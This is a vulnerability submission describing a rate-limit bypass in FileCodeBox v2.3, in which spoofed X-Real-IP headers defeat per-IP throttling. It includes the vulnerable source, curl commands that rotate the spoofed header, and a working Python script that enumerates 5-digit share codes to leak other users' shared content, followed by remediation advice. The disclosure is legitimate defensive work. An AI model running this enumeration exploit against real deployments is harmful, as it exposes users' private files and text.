| Title | vastsa FileCodeBox v2.3 Rate-limit bypass |
|---|
| Description | Anti-bruteforce rate limit bypassed via spoofed X-Real-IP / X-Forwarded-For header, enabling anonymous enumeration of all share codes and disclosure of other users' files and text
### Summary
FileCodeBox protects its anonymous "retrieve by share code" endpoints with a per-IP
rate limiter. The limiter decides who the client is by reading the client-supplied
`X-Real-IP` and `X-Forwarded-For` request headers, with no trusted-proxy check. Any
unauthenticated attacker can send a different value in that header on every request,
so every request is counted as a brand new client and the limit never triggers.
Because share codes default to a 5-digit number (90,000 possible values) and the
retrieval endpoints require no authentication, removing the rate limit makes the
entire code space enumerable in a short time. An unauthenticated attacker can iterate
all codes and download every file and text that other users have shared. The same
bypass also removes the upload rate limit.
### Details
The rate limiter resolves the client identity from attacker-controlled headers:
`apps/base/dependencies.py`
```python
class IPRateLimit:
def __call__(self, request: Request) -> str:
ip = (
request.headers.get("X-Real-IP")
or request.headers.get("X-Forwarded-For")
or request.client.host
)
if not self.check_ip(ip):
raise HTTPException(status_code=423, detail="请求次数过多,请稍后再试")
return ip
```
`X-Real-IP` and `X-Forwarded-For` are arbitrary request headers fully controlled by
the caller. The application does not verify that the request actually arrived through
a trusted reverse proxy, and does not fall back to the real transport peer
(`request.client.host`) when those headers are present. The throttle state in
`check_ip` / `add_ip` is keyed entirely on this spoofable value, so changing the
header on each request creates a new, empty bucket every time.
The throttle gates the anonymous retrieval endpoints in `apps/base/views.py`:
```python
@share_api.post("/select/")
async def select_file(data: SelectFileModel, ip: str = Depends(ip_limit["error"])):
file_storage = storages[settings.file_storage]()
has, file_code = await get_code_file_by_code(data.code)
if not has:
ip_limit["error"].add_ip(ip) # only failures are counted
return APIResponse(code=404, detail=file_code)
await update_file_usage(file_code)
return APIResponse(detail=await build_select_detail(file_code, file_storage))
```
These endpoints (`POST /share/select/`, `GET /share/select/`, `POST /share/metadata/`,
`GET /share/metadata/`) have no authentication dependency. A correct share code returns
the stored text inline, or a download URL for files. The only barrier against guessing
codes is `ip_limit["error"]` (defaults: `errorCount=10`, `errorMinute=1`).
The code space is small and is generated with a non-cryptographic PRNG:
`apps/base/utils.py`
```python
async def get_random_code(style: str = "num") -> str:
while True:
code = await get_random_num() if style == "num" else await get_random_string()
if not await FileCodes.filter(code=code).exists():
return str(code)
```
`core/utils.py`
```python
async def get_random_num():
return random.randint(10000, 99999) # 90,000 codes, stdlib random (not CSPRNG)
```
Most shares (day / hour / minute / count expiry) receive a 5-digit numeric code.
With the rate limit defeated, all 90,000 values can be requested without throttling,
so an attacker recovers every active share. `forever` shares use a 5-character
`A-Z0-9` code (36^5), still enumerable and still unthrottled.
The same limiter instance `ip_limit["upload"]` guards the upload endpoints, so the
spoofing trick also removes upload throttling (unauthenticated guest upload is enabled
by default via `openUpload=1`), allowing storage and resource abuse.
### PoC
Prerequisites: a default FileCodeBox instance (defaults are sufficient; guest access
is on by default). Below, `TARGET` is the server base URL.
1) A victim creates a normal anonymous text share and receives a short numeric code:
```
curl -s -X POST $TARGET/share/text/ \
-F 'text=VICTIM_SECRET_marker_8842' -F 'expire_value=1' -F 'expire_style=day'
# {"code":200,...,"detail":{"code":"11241"}}
```
2) Retrieval needs no credentials, only the code:
```
curl -s -X POST $TARGET/share/select/ -H 'Content-Type: application/json' \
-d '{"code":"11241"}'
# {"code":200,...,"detail":{...,"content":"VICTIM_SECRET_marker_8842",...}}
```
3) Control - 13 wrong guesses from the SAME source IP. The limiter blocks after 10:
```
for i in $(seq 1 13); do
curl -s -o /dev/null -w '%{http_code} ' -X POST $TARGET/share/select/ \
-H 'Content-Type: application/json' -H 'X-Real-IP: x.x.x.x' -d '{"code":"00001"}'
done
# 200 200 200 200 200 200 200 200 200 200 423 423 423
```
4) Attack - 13 wrong guesses while ROTATING X-Real-IP. The limiter never blocks:
```
for i in $(seq 1 13); do
curl -s -o /dev/null -w '%{http_code} ' -X POST $TARGET/share/select/ \
-H 'Content-Type: application/json' -H "X-Real-IP: 9.9.9.$i" -d '{"code":"00001"}'
done
# 200 200 200 200 200 200 200 200 200 200 200 200 200
```
5) Full attack - enumerate the code space with a rotating header and read other users'
shares (recovers the victim text without ever knowing its code, with zero blocks):
```python
import urllib.request, json
TARGET = "http://127.0.0.1:12345"
for n, code in enumerate(range(57300, 57400)): # scan any range / all 10000-99999
req = urllib.request.Request(
f"{TARGET}/share/select/",
data=json.dumps({"code": str(code)}).encode(),
headers={"Content-Type": "application/json",
"X-Real-IP": f"10.{(n>>16)&255}.{(n>>8)&255}.{n&255}"}, # spoofed, per-request
method="POST")
body = json.loads(urllib.request.urlopen(req).read())
if body.get("code") == 200:
d = body["detail"]
print("LEAK", code, repr(d.get("content") or d.get("text")))
# LEAK 57304 'VICTIM_SECRET_marker_8842'
```
### Impact
Unauthenticated, remote, low-complexity. An attacker who can reach the application
defeats the per-IP throttle by varying the `X-Real-IP` (or `X-Forwarded-For`) header
per request. Combined with the small, enumerable 5-digit share-code space and
authentication-free retrieval, this allows enumeration of all active share codes and
disclosure of every file and text other users have shared (confidentiality impact on
all users' shared content). The same bypass disables upload throttling, enabling
storage and resource abuse. Deployments that sit behind a reverse proxy are equally
affected, because the values are accepted from any client rather than only from a
configured trusted proxy.
Suggested remediation: do not trust forwarding headers by default. Use
`request.client.host` for the rate-limit identity, and only honor `X-Forwarded-For`
/ `X-Real-IP` when the request comes from an operator-configured list of trusted proxy
addresses (taking the correct hop). Additionally increase the share-code length and
generate codes with `secrets` rather than `random`.
|
|---|
| Source | ⚠️ https://github.com/vastsa/FileCodeBox/issues/479 |
|---|
| User | geochen (UID 78995) |
|---|
| Submission | 06/14/2026 16:00 (1 month ago) |
|---|
| Moderation | 07/18/2026 14:22 (1 month later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 333024 [FileCodeBox up to 2.2 Header X-Real-IP/X-Forwarded-For excessive authentication] |
|---|
| Points | 0 |
|---|